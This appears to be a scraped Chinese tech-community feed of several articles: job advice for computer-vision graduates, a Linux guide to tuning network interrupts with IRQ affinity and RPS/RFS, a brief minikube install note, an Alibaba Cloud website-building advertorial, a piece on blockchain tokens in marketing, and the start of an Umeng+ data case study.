      之前市场空缺大,高薪、低门槛势必吸引更多的人做算法,而 19 年之后,薪资低了,门槛还高,做的人自然而然就少了。19 年有些开发同学是可以拿到和算法同学差不多的薪资的,这在前两年可不是。

      转换思路,另投他坑

      在排名第二的答案中,匿名用户说:

      实验室也是做视觉方向的,但我那一届同实验室的硕士里,就我一个找了和 CV 相关的工作。

      有发过顶会的大牛去了网易游戏,问他为何不接着搞 CV、DL,他说最主要是给钱多。所以,MOP(money oriented programming)才是王道。

      知友@本马则另辟蹊径,提出「算法退级」:

      CV 方向确实人多坑位少,比 NLP 方向内卷的更厉害。不过,NLP 方向也快不行了。个人建议是,不建议直接转开发岗,算法与开发的技能栈差别比较大,容易两者都做不好,更焦虑。

      比如从 CV 退去做更宽泛的深度学习乃至机器学习岗位,一些深度学习甚至计算机视觉在其他领域的应用,如天气预测,卫星等,这些不直接做AI的相关单位或企业也是可以考虑的。

      继续往后退的话,就是看看机器学习、数据挖掘相关的。如果还是不行,就找找数据分析岗。

      要有毅力,心态放平

      有知乎用户援引名人经历:

      image.png

      还有人认为,认准方向,就不要在乎短期行业波动:

      image.png

      最后的建议

      综合了几位知友的回答,总结下来建议有以下几点:

      1. 给自己增加加分项:功利的来看,几百份简历,没有明确的加分项,hr 有多少时间,又如何能确定你基础扎实呢?尤其想去大厂,简历不出彩是真的有点难。建议深挖一下项目经历,视觉算法相关的部分从原理到实现都别含糊。
      2. 好好练基本功、刷 leetcode 吧。不要望洋兴叹,周围有好几个 leetcode 刷两遍的,也没啥文章和竞赛,但是最后工作都不错。
      3. 尽量走内推/提前批:找直系学长学姐,部门领导直推(不等于给个内推码的那种,当然如果只能找有内推码的,也不错了)。面试前想办法了解下目标岗位部门情况。
      4. 不要焦虑:明确自己的定位,有时候不是找不到工作,是找不到满意的工作,工作总是会有的。985 计算机硕士已经比市场上绝大部分人好找工作的多了,坚持住,结果不会太差的。

      image.png

      原文链接:https://news.51cto.com/art/202005/617447.htm
      文章转自51cto,本文一切观点和《机器智能技术》圈子无关

      ]]>
      关于Linux cpu中断问题 Fri, 02 May 2025 09:39:04 +0800

      作者:牧原

      什么是中断?

      当一个硬件(如磁盘控制器或者以太网卡), 需要打断CPU的工作时, 它就触发一个中断. 该中断通知CPU发生了某些事情并且CPU应该放下当前的工作去处理这个事情. 为了防止多个设置发送相同的中断, Linux设计了一套中断请求系统, 使得计算机系统中的每个设备被分配了各自的中断号, 以确保它的中断请求的唯一性.

      从2.4 内核开始, Linux改进了分配特定中断到指定的处理器(或处理器组)的功能. 这被称为SMP IRQ affinity, 它可以控制系统如何响应各种硬件事件. 允许你限制或者重新分配服务器的工作负载, 从而让服务器更有效的工作.

      以网卡中断为例,在没有设置SMP IRQ affinity时, 所有网卡中断都关联到CPU0, 这导致了CPU0负载过高,而无法有效快速的处理网络数据包,导致了瓶颈。

      通过SMP IRQ affinity, 把网卡多个中断分配到多个CPU上,可以分散CPU压力,提高数据处理速度。但是smp_affinity要求网卡支持多队列,如果网卡支持多队列则设置才有作用,网卡有多队列,才会有多个中断号,这样就可以把不同的中断号分配到不同CPU上,这样中断号就能相对均匀的分配到不同的CPU上。

      而单队列的网卡可以通过RPS/RFS来模拟多队列的情况,但是该效果并不如网卡本身多队列+开启RPSRFS 来的有效

      什么是RPS/RFS

      RPS(Receive Packet Steering)主要是把软中断的负载均衡到各个cpu,简单来说,是网卡驱动对每个流生成一个hash标识,这个HASH值得计算可以通过四元组来计算(SIP,SPORT,DIP,DPORT),然后由中断处理的地方根据这个hash标识分配到相应的CPU上去,这样就可以比较充分的发挥多核的能力了。通俗点来说就是在软件层面模拟实现硬件的多队列网卡功能,如果网卡本身支持多队列功能的话RPS就不会有任何的作用。该功能主要针对单队列网卡多CPU环境,如网卡支持多队列则可使用SMP irq affinity直接绑定硬中断。
      image.png

      图1 只有RPS的情况下(来源网络)

      由于RPS只是单纯把数据包均衡到不同的cpu,这个时候如果应用程序所在的cpu和软中断处理的cpu不是同一个,此时对于cpu cache的影响会很大,那么RFS(Receive flow steering)确保应用程序处理的cpu跟软中断处理的cpu是同一个,这样就充分利用cpu的cache,这两个补丁往往都是一起设置,来达到最好的优化效果, 主要是针对单队列网卡多CPU环境。
      image.png

      图2:同时开启RPS/RFS后(来源网络)

      rps_flow_cnt,rps_sock_flow_entries,参数的值会被进位到最近的2的幂次方值,对于单队列设备,单队列的rps_flow_cnt值被配置成与 rps_sock_flow_entries相同。
      RFS依靠RPS的机制插入数据包到指定CPU的backlog队列,并唤醒那个CPU来执行

      默认情况下,开启irqbalance是足够用的,但是对于一些对网络性能要求比较高的场景,手动绑定中断磨合是比较好的选择

      开启irqbalance,会存在一些问题,比如:
      a) 有时候计算出来的值不合理,导致CPU使用还是不均衡。
      b) 在系统比较空闲IRQ处于 Power-save mode 时,irqbalance 会将中断集中分配给第一个 CPU,
      以保证其它空闲 CPU 的睡眠时间,降低能耗。如果压力突然上升,可能会由于调整的滞后性带来性能问题。
      c) 处理中断的CPU总是会变,导致了更多的context switch。
      d)也存在一些情况,启动了irqbalance,但是并没有生效,没有真正去设置处理中断的cpu。

      如何查看网卡的队列数

      1,Combined代表队列个数,说明我的测试机有4个队列

      # ethtool -l eth0
      Channel parameters for eth0:
      Pre-set maximums:
      RX:     0
      TX:     0
      Other:      0
      Combined:   4
      Current hardware settings:
      RX:     0
      TX:     0
      Other:      0
      Combined:   4

      2,以ecs centos7.6为例,系统处理中断的记录在/proc/interrupts文件里面,默认这个文件记录比较多,影响查看,同时如果cpu核心也非常多的话,对于阅读的影响非常大

      # cat /proc/interrupts
                 CPU0       CPU1       CPU2       CPU3
        0:        141          0          0          0   IO-APIC-edge      timer
        1:         10          0          0          0   IO-APIC-edge      i8042
        4:        807          0          0          0   IO-APIC-edge      serial
        6:          3          0          0          0   IO-APIC-edge      floppy
        8:          0          0          0          0   IO-APIC-edge      rtc0
        9:          0          0          0          0   IO-APIC-fasteoi   acpi
       10:          0          0          0          0   IO-APIC-fasteoi   virtio3
       11:         22          0          0          0   IO-APIC-fasteoi   uhci_hcd:usb1
       12:         15          0          0          0   IO-APIC-edge      i8042
       14:          0          0          0          0   IO-APIC-edge      ata_piix
       15:          0          0          0          0   IO-APIC-edge      ata_piix
       24:          0          0          0          0   PCI-MSI-edge      virtio1-config
       25:       4522          0          0       4911   PCI-MSI-edge      virtio1-req.0
       26:          0          0          0          0   PCI-MSI-edge      virtio2-config
       27:       1913          0          0          0   PCI-MSI-edge      virtio2-input.0
       28:          3        834          0          0   PCI-MSI-edge      virtio2-output.0
       29:          2          0       1557          0   PCI-MSI-edge      virtio2-input.1
       30:          2          0          0        187   PCI-MSI-edge      virtio2-output.1
       31:          0          0          0          0   PCI-MSI-edge      virtio0-config
       32:       1960          0          0          0   PCI-MSI-edge      virtio2-input.2
       33:          2        798          0          0   PCI-MSI-edge      virtio2-output.2
       34:         30          0          0          0   PCI-MSI-edge      virtio0-virtqueues
       35:          3          0        272          0   PCI-MSI-edge      virtio2-input.3
       36:          2          0          0        106   PCI-MSI-edge      virtio2-output.3
      input0说明是cpu1(0号CPU)处理的网络中断            
      阿里云ecs网络中断,如果是多个中断的话,还有input.1 input.2 input.3这种形式
      ......
      PIW:          0          0          0          0   Posted-interrupt wakeup event

      3,如果ecs的cpu核心非常多,那这个文件看起来就会比较费劲了,可使用下面的命令查看处理中断的核心

      使用下面这个命令,即可将阿里云ecs处理中断的cpu找出来了(下面这个演示是8c 4个队列)
      # for i in $(egrep "-input."  /proc/interrupts |awk -F ":" '{print $1}');do cat /proc/irq/$i/smp_affinity_list;done
      5
      7
      1
      3
      处理一下sar拷贝用
      # for i in $(egrep "-input."  /proc/interrupts |awk -F ":" '{print $1}');do cat /proc/irq/$i/smp_affinity_list;done |tr -s 'n' ','
      5,7,1,3,
      #sar -P 5,7,1,3 1 每秒刷新一次cpu 序号为5,7,1,3核心的cpu使用率
      # sar -P ALL 1 每秒刷新所有核心,用于少量CPU核心的监控,这样我们就可以知道处理慢的原因是不是因为队列不够导致的了
      Linux 3.10.0-957.5.1.el7.x86_64 (iZwz98aynkjcxvtra0f375Z)   05/26/2020  _x86_64_    (4 CPU)
      05:10:06 PM     CPU     %user     %nice   %system   %iowait    %steal     %idle
      05:10:07 PM     all      5.63      0.00      3.58      1.02      0.00     89.77
      05:10:07 PM       0      6.12      0.00      3.06      1.02      0.00     89.80
      05:10:07 PM       1      5.10      0.00      5.10      0.00      0.00     89.80
      05:10:07 PM       2      5.10      0.00      3.06      2.04      0.00     89.80
      05:10:07 PM       3      5.10      0.00      4.08      1.02      0.00     89.80
      05:10:07 PM     CPU     %user     %nice   %system   %iowait    %steal     %idle
      05:10:08 PM     all      8.78      0.00     15.01      0.69      0.00     75.52
      05:10:08 PM       0     10.00      0.00     16.36      0.91      0.00     72.73
      05:10:08 PM       1      4.81      0.00     13.46      1.92      0.00     79.81
      05:10:08 PM       2     10.91      0.00     15.45      0.91      0.00     72.73
      05:10:08 PM       3      9.09      0.00     14.55      0.00      0.00     76.36
      sar 小技巧
      打印idle小于10的核心
      sar -P 1,3,5,7 1 |tail -n+3|awk '$NF<10 {print $0}'
      看所有核心是否有单核打满的把1357换成ALL即可
      sar -P ALL 1 |tail -n+3|awk '$NF<10 {print $0}'
      再贴一个4c8g规格的配置(ecs.c6.xlarge ),
      可以看到4c也给了四个队列,但是默认设置的是在cpu0 和 2上处理中断
      # grep -i "input" /proc/interrupts
       27:       1932          0          0          0   PCI-MSI-edge      virtio2-input.0
       29:          2          0       1627          0   PCI-MSI-edge      virtio2-input.1
       32:       1974          0          0          0   PCI-MSI-edge      virtio2-input.2
       35:          3          0        284          0   PCI-MSI-edge      virtio2-input.3
      # for i in $(egrep "-input."  /proc/interrupts |awk -F ":" '{print $1}');do cat /proc/irq/$i/smp_affinity_list;done
      1
      3
      1
      3
      原因是cpu是超线程的,“每个vCPU绑定到一个物理CPU超线程”,所以即使是4个队列默认也在2个cpu核心上
      # lscpu
      Architecture:          x86_64
      CPU op-mode(s):        32-bit, 64-bit
      Byte Order:            Little Endian
      CPU(s):                4
      On-line CPU(s) list:   0-3
      Thread(s) per core:    2
      Core(s) per socket:    2
      Socket(s):             1
      NUMA node(s):          1

      4,关闭IRQbalance

      # service irqbalance status
      Redirecting to /bin/systemctl status irqbalance.service
      ● irqbalance.service - irqbalance daemon
         Loaded: loaded (/usr/lib/systemd/system/irqbalance.service; enabled; vendor preset: enabled)
         Active: inactive (dead) since Wed 2020-05-27 14:39:28 CST; 2s ago
        Process: 1832 ExecStart=/usr/sbin/irqbalance --foreground $IRQBALANCE_ARGS (code=exited, status=0/SUCCESS)
       Main PID: 1832 (code=exited, status=0/SUCCESS)
      May 27 14:11:40 iZbp1ee4vpiy3w4b8y2m8qZ systemd[1]: Started irqbalance daemon.
      May 27 14:39:28 iZbp1ee4vpiy3w4b8y2m8qZ systemd[1]: Stopping irqbalance daemon...
      May 27 14:39:28 iZbp1ee4vpiy3w4b8y2m8qZ systemd[1]: Stopped irqbalance daemon.

      5,手动设置RPS

      5.1 手动设置之前我们需要先了解下面的文件(IRQ_number就是前面grep input拿到的序号)
      进入/proc/irq/${IRQ_number}/,关注两个文件:smp_affinity和smp_affinity_list
      smp_affinity是bitmask+16进制,
      smp_affinity_list:这个文件更好理解,采用的是10进制,可读性高
      改这两个任意一个文件,另一个文件会同步更改。
      为了方便理解,咱们直接看十进制的文件smp_affinity_list即可

      如果这一步没看明白,注意前面的 /proc/interrupts的输出
      # for i in $(egrep "-input."  /proc/interrupts |awk -F ":" '{print $1}');do cat /proc/irq/$i/smp_affinity_list;done
      1
      3
      1
      3
      手动设置处理中断的CPU号码可以直接echo修改,下面就是将序号27的中断放到cpu0上处理,一般建议可以把cpu0空出来
      # echo 0 >> /proc/irq/27/smp_affinity_list
      # cat /proc/irq/27/smp_affinity_list
      0
      关于bitmask
      “f” 是十六进制的值对应的 二进制是”1111”(可以理解为4c的配置设置为f的话,所有的cpu参与处理中断)
      二进制中的每个位代表了服务器上的每个CPU. 一个简单的demo
        CPU序号  二进制  十六进制
         CPU 0   0001    1
         CPU 1   0010    2
         CPU 2   0100    4
         CPU 3   1000    8

      5.2 需要对每块网卡每个队列分别进行设置。如对eth0的0号队列设置:
      echo ff > /sys/class/net/eth0/queues/rx-0/rps_cpus
      这里的设置方式和中断亲和力设置的方法是类似的。采用的是掩码的方式,但是这里通常要将所有的CPU设置进入,如:
      4core,f
      8core,ff
      16core,ffff
      32core,ffffffff
      默认在0号cpu上

      # cat /sys/class/net/eth0/queues/rx-0/rps_cpus
      0
      # echo f >>/sys/class/net/eth0/queues/rx-0/rps_cpus
      # cat /sys/class/net/eth0/queues/rx-0/rps_cpus
      f

      6,设置RFS的方式

      需要设置两个地方:
      6.1, 全局表:rps_sock_flow_table的条目数量。通过一个内核参数控制:

      # sysctl -a |grep net.core.rps_sock_flow_entries
      net.core.rps_sock_flow_entries = 0
      # sysctl -w net.core.rps_sock_flow_entries=1024
      net.core.rps_sock_flow_entries = 1024

      6.2,每个网卡队列hash表的条目数:

      #  cat /sys/class/net/eth0/queues/rx-0/rps_flow_cnt
      0
      # echo 256 >> /sys/class/net/eth0/queues/rx-0/rps_flow_cnt
      #  cat /sys/class/net/eth0/queues/rx-0/rps_flow_cnt
      256

      需要启动RFS,两者都需要设置。
      建议机器上所有的网卡队列设置的rps_flow_cnt相加应该小于或者等于rps_sock_flow_entries。因为是4个队列,因此每个队列设置256,可以根据实际情况增大

      某压测调整案例:

      背景:iperf3 5个线程 1个1g打流量,抖动,如 4.6--5.2 波动较大,查看中断不均衡,做如下设置
      1,设置RPS ,32c 16队列 设置ffffffff
      2, RFS 65536 /16 = 4096
      3, smp_affinity_list 1,3,5,7,9....31
      依然不均衡,考虑到RFS 命中cache的问题,客户端增加到16线程,中断处理趋于稳定,但是流量依然有波动
      4,关闭TSO后流量在7.9x--8.0x之间波动,趋于稳定

      ]]>
      manjaro 安装minikube Fri, 02 May 2025 09:39:04 +0800 install minikube
      • kubectl
      • virtualbox 选择virtualbox应匹配系统内核

      直接在软件源中搜索minikube安装并选择上述两项依赖即可、uname -r 查看系统内核

      no_proxy报错

      minkube start
      
      ]]>
      		
      	
      		企业营销第一步,阿里教你怎么做
      		
      		Fri, 02 May 2025 09:39:04 +0800
      		
      		
      		
      		老王,35岁,一家公司的负责人,最近他在产品销售方面遇到了头疼的问题,目前公司的获客渠道不是地推,就是电销。地推比较直观,能够跟客户面对面沟通,就是有点废业务员和产品资料,换句话来说就是成本投入大。电销虽然成本比地推低,但是难度却要大,电销员每天几百个电话打下来,不是开口挂,就是没兴趣。

      老王1.png
      一天忙碌的工作中,电销员好不容易联系到了一位高意向的大客户,通话结束之后话务员马上进入办公室跟老王汇报,老王听完之后神情愉悦并透露赞许,决定亲自带团队拜访。同时客户挂断电话之后在网上搜索老王公司的相关信息,结果出现的内容不是招人信息,就是某些网站上敷衍潦草的公司简介,更有意思的是某度知道上面的XX公司怎么样?

      “拜托,我只是想找一下你们公司的官网,了解一下有哪些产品,这搜出来的都是些什么,这公司有点不靠谱啊”求此时客户的心理阴影面积。

      老王2.png
      不知情的老王在和团队加班加点地准备着,殊不知客户此刻的心情复杂:时而怀疑,时而挣扎,最后释然,整理好心情迎接这次约谈,毕竟为商者,基本的接待礼节要有的。

      会面当天老王使出浑身解数演示,客户若有所思地点头,此时客户脑海中出现两个声音:“产品和优惠政策倒是感觉还不错,不过连个官网都没有,这公司有点不靠谱,再考虑一下吧。“最后客户表示考虑一下,下次再约。

      回到公司之后,商业嗅觉敏锐的老王察觉到了有些不对劲,那么问题出在哪里?

      老王3.png
      老王上网时无意间搜索公司名称,看到五花八门的信息时,他陷入了沉思…

      此时老王下定决心要做一个企业网站,于是在网上搜索企业建站,出现的各类建站公司信息让他眼花缭乱。那么问题来了,这么多家建站公司,到底该选哪家,服务器配置怎么选?备案怎么做?毫无头绪,完全不懂代码,交付后如何更新维护?这些都是初窥建站门槛的人头疼的问题。

      现阶段建站行业好像没有巨头,没有标杆,没有标准;建站行业百亿收入市场,最大建站公司市场占有率不足5%;行业还处于作坊式经营,数以十万级个人/小组织建站公司。

      于是老王另辟蹊径通过企业建站吧发求助帖。 废了好大的功夫,老王恍然大悟:企业官网是企业的互联网名片,能够线上引流,增加商机还能帮助品牌宣传。难怪客户一直犹豫不决,原来是缺乏信任感,一家连企业官网都没有的公司如何能够提供优质的服务。

      老王又通过帖子看了几位网友分享的切身感悟:

      个人工作室小李:“我之前找了一家便宜的公司做了一个网站,运行了一段时间。不是运行慢就是经常打不开,有时候还会被木马攻击,刚开始公司还会解决。后来服务问题无法跟上,最终我不得不寻找另一个建站公司重新搭建,我觉得以前创建的网站很浪费,个人认为网站搭建不可贪图便宜。”

      初创公司张老板:“刚开始搭建网站时我很困惑。我咨询了很多公司,最后选择了一个知名的大平台。尽管价格有点超出预期,但技术和后期服务非常好。特别是后期服务涉及一些更改,调整和添加,他们的售后客服态度很好,修改出来的效果都非常不错,因此建议大家搭建网站必须考虑后期服务。如果售后服务不好,即使网站便宜,遇到了问题不能及时解决,也是浪费时间和金钱,更重要的是会导致客户的流失,这也是我的经验,希望对大家有用。”

      强安全?高服务?大平台?老王觉得有了些许头绪,当老王看到有关阿里云心选建站的信息,突然眼前一亮…

      老王4.png

      进入阿里云心选建站频道,老王发现阿里云提供从自助建站到定制建站产品,有服务保障SLA,还能5天无理由退款。

      阿里云提供模板建站和定制建站两种解决方案。

      1、模板建站,主要是云·速成美站,顾名思义,速成,美观。云·速成美站能让企业快速拥有互联网名片,增强初次合作印象,助力业务开展。同时,可进行信息发布,向用户传达企业最新消息,增强用户粘性。只需低预算即可轻松搞定,并能自主完成网站设计。

      2、定制建站是由专家级设计师根据公司特性量身定制,更符合品牌特性,彰显公司实力,技术层面,全面集成主流云计算资源,保障网站安全,防攻击。交付后,企业拥有全部管理权限,无需任何技术,可以自由增添信息。

      除此之外,阿里云心选建站还拥有六大优势,帮助客户建好网站,做好业务。

      1、大平台
      (5天无理由/不满意全额退款)在线标准化售卖模式

      2、低门槛
      可视化界面加上拖拽式,无技术门槛的操作即可完成网站的搭建,一打开后台就知道如何使用,搭建网站又简单又快。

      3、标准化在线交付能力
      基于设计服务流程阿里云建站有一套完整的在线化交付体系,项目由开始到交付全程在线可见,满足用户与服务人员的实时交互,极大的提升了服务效率及满意度。客户从咨询-交易-交付只用一天时间,企业官网第二天就能上线。

      4、一体化便捷服务
      除了企业网站,与网站相关的域名、备案也可以办理,为客户提供一体化便捷服务。集成阿里云丰富的PaaS能力,包括阿里云视频、阿里云短信、国内独一的独立IP等,帮助企业更好地应用云计算。同时在安全保障,弹性伸缩、成本投入及开发效率上具有领先优势。

      5、强安全性
      企业官网在阿里云的环境下,从而实现对企业敏感数据保护。同时针对数据流向进行实时监控及预警,多种手段切断敏感数据外流通道。通过一系列的方式,可以确保企业数据的安全,解除企业对于数据泄漏的担忧。

      6、稳定性及托管服务
      阿里云提供专业细致的架构分析,全面的代码扫描及压力测试,健全的监控及报警方案,提高应用的稳定性,同时企业通过阿里云也可以实现对建站的托管,避免建站用户导致的不可控因素,实现建站的服务永继。

      阿里云凭借强大的技术支撑和完善的解决方案,已为超过100万家企业客户提供更高效、稳定的服务。未来,阿里云将会继续助力企业打造属于自己的品牌,提供更多更好的企业服务。最后总结一句:建站哪里寻,就上阿里云!

      老王5.png
      SaaS加速器尾图.jpg

      ]]>
      “对不起,中小企业很难享受区块链的红利” Fri, 02 May 2025 09:39:04 +0800 区块链还没有出现千万级的应用,也不知道什么时候能出现、会不会出现?不过我们可以来看看一些区块链上的一些探索和机会。
      image.png

      作 者:易选型

      Ai(人工智能)作为去年的话题“头牌”贡献了很多新技术的探讨热度,但场景应用的单一性依然是过不去的坎儿。“AI做的事情需要企业投入很多,积累大量数据,但转化率能提升多少?并不一定能知道,它需要一个很长的迭代周期。”

      Kuickdeal创始人兼首席算法科学家崔超在易选型的活动中谈到新技术,他认为Ai的应用过程比较缓慢,大数据是不断积累不断应用才会越来越准确,所以对企业来说,这是一场持久战。

      但他却很看好区块链技术在营销的应用:“区块链可能会立竿见影,因为它是一个分布式账本或者一个分布式数据库,将带来越来越多的数据公开,比如司机的实时位置等,对于企业来说,可以获取到的数据也会越来越多,所以它对Ai也有非常有效的推动作用。”

      在大数据的成熟应用层面,区块链似乎承担着重要角色。但目前区块链带给人们的认知还多流于表面,比如分布式算法、去中心化、共识体系等等,除了发币好像再也找不出第二个能大规模应用的场景,如金沙江创投合伙人朱啸虎坦言:

      “区块链技术本身没有问题,但目前我没有看到一个必须使用这个技术的应用场景,这是一个最大的问题。曾鸣教授说,所谓风口的标志就是诞生一款千万日活的应用,这是一个重要的指标。之前移动互联网就是这样的,2007年出了第一代iPhone,2009年出现了第一款风靡全球的游戏“愤怒的小鸟”,这是非常标志性的事件。区块链最大的问题是除了炒币外没有用户在上面用。”

      那么区块链目前的进展情况如何?我们可以参照技术成熟度曲线,2017年Garter给出了一张5—10年的新兴技术成熟度曲线图,它将一项技术/创新发展到成熟期的过程中划分了五个阶段:创新萌发—过热—幻灭低谷—复苏—生产力成熟。

      image.png

      2017新兴技术成熟度曲线

      重点看一下区块链:它处于曲线图中期望和幻灭期之间,期望值更大,再往下是幻灭期,而下一阶段正是朱啸虎所说的“死亡谷”,要达到人们所期望的泡沫之后的成长期,至少需要2—5年,这和湖畔大学教育长曾鸣教授认为的“区块链目前的阶段大概在类似1990年左右的互联网,至少还得两三年的磨合才能孕育出成功的大应用”的判断大致吻合。

      image.png
      2017新兴技术的优先矩阵(来源:Gartner2017年7月)

      再看上图,若想成为主流,还需要5—10年的时间。

      也许“十年寒窗”不过如此。

      那么目前阶段,我们要关注什么?比起“币圈”的疯狂和泡沫,“链圈”从技术本身的突破和场景探索才是我们学习区块链的重点。

      一个大机会:营销上的突破

      还记得传统营销带来的无数品牌巨头,脑白金、加多宝等不胜枚举,而随着互联网和移动互联网的深化,新媒体促成了营销史上最百花齐放的时期,也随之带来无数经典营销案例,不知救活了多少传统品牌。

      新媒体营销的背后是是各种新技术的出现,比如裂变式营销、MA(营销自动化)、Ai(人工智能)等。

      那么区块链会给品牌营销带来怎样的机会?

      Kuickdeal创始人兼首席算法科学家崔超认为,从区块链的根上看,它将使品牌和用户之间的良性互动变得前所未有。大家有一种只有在中国才有的营销形式:裂变式电商,比如拼多多,一个月的流水30亿,这里有一个逻辑,用户管拼多多叫“买到就是赚到”。

      区块链给它带来的是可能你不需要花真金白银去补贴,你甚至可以把区块链和小程序放在一起做营销,本身用户在拼多多平台上买到就是赚了,如果他还能拿到奖励的话,就是赚两次,生命力会非常强。

      举个很简单的例子,过去非常烂大街的品牌积分,谁把积分当成有价值的东西?从来没见过在中国有一家互联网公司是做积分起来的,因为积分不可以跟人民币挂钩,游戏里有金币,我可以拿人民币买金币,但金币不可以换成人民币。

      另外一个问题,企业和企业之间都是中心化的,比如一家企业发行了一亿个积分,另一家也发行了一些,但彼此并不流通,永远不可能出现我的积分到你那去买东西,两家之间就无法结算,所以品牌之间也很难联合做营销。

      但区块链可以让企业之间的数据变得透明、可结算、可协同。营销可能会带来两个变化,裂变响应、企业协同,有可能是我们想象不到的一种爆发力。

      这种爆发力来源于谈区块链就离不开的一个词:“Token(通证)”。

      它是人们的共识、对品牌的认知和信任凝结成的一个数字化的东西。因此品牌天然有它的共识人群,所以要想办法和品牌的共识人群们有更好的互动。

      Token是区块链整个内推动力的核心,如果没有Token,就没有奖励机制,它是运转不起来的。

      湖畔大学教育长曾鸣教授在谈到区块链所面对的挑战时,也着重强调了Token和共识:“区块链技术本身目前能实现的共识,在推动社会协同方面的价值是非常有限的,还需要巨大的创新。当然,这也是大家强调Token的原因所在。

      比特币的成功和矿工的奖励机制的设计有直接的关系,所以需要通过利益机制的设计让大家愿意主动合作,同时还要考虑如何和区块链的技术优势结合。从简单的共识到实质性地降低交易成本,才是区块链应用未来成功的关键。”

      那么第一步该怎么做?企业要先去分析自己有哪些资产还没有被价格化。比如用户忠诚度、活跃度等。崔超举了一个例子:“比如通过Token结合裂变,用户来店面消费可以得到什么奖励、带两个朋友来可以得到什么奖励、在小程序里消费或拉朋友完成一次拼团可以得到什么样的Token奖励。

      再比如设计一些特殊权益,品牌代言人举办线下见面会,只有Token持有者才可以来现场。花那么多钱请的代言人怎么能用数字化的方式衡量?所以这些资产第一次有了数字化的机会。而甚至到时候有些人可能没有Token需要跟别人买,这个不是炒币的概念,是你要把它推成一种共识,共识最后凝结成Token,再用Token和客户互动。”

      在崔超的分享中我们了解到他们目前的第一批合作都是和零售相关的企业,不管是一个渠道还是品牌,最好有自己的电商,他们会提供基于Token的钱包,直接接电商,用户将多一种Token的支付方式。

      不过,在是否所有企业都可以做Token这有点上,可能会让很多企业灰心,他认为,并不是所有企业都可以做Token。“中小企业在这个地方有一个天然的短板,你可能只有500人,但有的品牌在5万人、500万人的量级时,中小企业就很难享受这方面的红利。不过享受到第一波红利的人也并不意味着一定会持续,也许未来会有机会。”

      关于区块链在企业营销的应用上,崔超将在正和岛易选型3月17号-18号的《数据驱动营收增长》课程中作深度分享,同时他也将围绕“新技术如何驱动企业的数据资产,完成获客与转化”的主题做详细讲解。扫码、阅读原文可了解详情/报名。

      技术点上的场景探索

      中小企业有没有机会我们见仁见智,但在区块链底层技术的探索上,我们不妨看看几个低头赶路者(BAT等巨头不在举例范围),他们的做法也许会带给企业不同的启发:

      比如,在原创保护上的应用,成立于2016年9月的原本,是利用区块链技术维护了一个永久不可更改的、基于时间戳记录的平台。它为原创作品生成不可改变的、准确的原创证明并同时记录到原本链上。任何人都可以通过关键字或DNA找到该内容的原创作者,而且无论怎样转载都可以找到它们的版权信息。

      比如,用区块链来支撑医疗健康数据进行分布式分析与交换的公司:边界智能,它运用区块链,让医院与医院间、医院与保险公司之间的医疗数据流动起来,化解数据孤岛导致的低效问题;并且通过人工智能技术提供智能化的服务。具体场景如重大疾病保险理赔、跨医院诊疗等。

      除了以上在商业场景里的部分探索,这里想举一个类似于以太坊(开源的有智能合约功能的公共区块链平台。通过它的专用加密货币“以太币”提供去中心化的虚拟机来处理点对点合约)这种做基础区块链的例子:

      一家美国二手电商交易平台5miles,它是曾任手机淘宝总经理、兰亭集势CTO的卢亮博士于2014年创办的。其16年总交易额超30亿美元、用户数超过1200万,覆盖美国15 +个城市。

      而5miles旗下5xlab实验室推出了智能商业合约区块链CyberMiles,上面可以快速地开发不同种类的商业智能合约,甚至一键完成。并且开发者还可以在建立各种c2c交易平台、B2C网站等。

      在支持智能合约的开发上,它建立了12个大类、371个小类的智能合约模版,涵盖各种场景,保险、贷款、订餐、担保交易、租赁等。比如你搭飞机时可以拿出智能合约的“机票延误险”模板,系统先取得航空的数据,你照常购买机票延误险,如果飞机延误,航空公司赔付的钱就会自动打给你,提高效率、减少纠纷。

      用大白话说,有了这些模板,以后类似的交易就不用再一个一个重新写新的智能合约,直接套用模板就行,这样更省时间、也更省成本。而模板的开发者也将在每次模板被使用的时候拿到代币奖励。

      瞧见没,按照这种设定,CMT(CM的代币)也将成为一种共识。而CM的第一步就是移植5miles的庞大数据。也许这种做公链的平台也为企业提供了一些机会。

      其实区块链的各种商业场景和探索阶段本文也仅仅浅显的介绍了一点点,大家都很期待的杀手级应用是什么、在哪里?也看不到任何端倪。但是,多了解多学习总不会错,5年之后,谁知道它会是什么样子呢?


      直接来源:https://www.sohu.com/a/225393329_378279
      来 源:易选型服务号(ID:yixuanxing001)

      综编自:
      颠覆BAT的新出路(硅谷密探)
      当满屏都是区块链暴富或泡沫时,我们只想安静地阐述几个事实(文:温泉/网易科技)·Cybermiles—首家链接现实商业场景的区块链平台(蓝狐笔记)

      Gartner《2017年度新兴技术成熟度曲线》(整理:上海市科学学研究所副研究员孟海华博士)

      一文看懂国内区块链产业,到底哪块最赚钱?(文:白开水、yingtao/创业家 )

      ]]>
      联手友盟+打造数据融合“样板间”, 好兔视频成功逆势突围 Fri, 02 May 2025 09:39:04 +0800 前言:更多关于数智化转型、数据中台内容可扫码加群一起探讨
      668d7f5941782665ed1f41529db3eb677f4b9379.png
      阿里云数据中台官网 https://dp.alibaba.com/index


      (作者:友盟+)

      “消费升级”是近年来的中国消费市场热门词汇,消费升级的同时也驱动了内容消费升级。在这样的大众消费市场下,一款主打技术类内容的短视频App——好兔视频应运而生。作为非BATT系的初创型企业,如何在竞争激烈的视频行业破局,实现逆风翻盘?

      好兔视频选择牵手友盟+,深度融合行业应用大数据,建立设备质量分层等数据应用模型,帮助处于初创期的好兔视频解决数据应用、拉新、留存等运营难题,实现发展突围。

      好兔视频瞄准了时下内容消费升级的大趋势,专注于精选实用小视频, 生活技能分享,希望给那些热爱生活的人提供一些高品质的内容,深受国内高知人群欢迎。

      机遇与挑战并存,视频行业大数据壁垒亟待破局

      互联网巨头掌控互联网应用和服务的绝大部分数据资源,BATT系App占据了用户使用时长的70%,不难发现数据规模马太效应越来越严重,中小型App开发企业难以靠一己之力突破互联网巨头的“数据霸权”。

      这主要体现在以下几个方面:首先,中小型企业日活可能只有几十万到数百万不等,难以与BATT系应用的亿级数据集竞争;同时,中小型企业缺乏横向和纵向完整的用户画像,对于新推广的每个用户而言都是全新用户,冷启动硬伤凸显,难以做到千人千面的用户服务,而BATT系的用户画像已经非常完整,根据海量用户的产品矩阵,可以大概猜测出用户的收入、喜好等用户画像

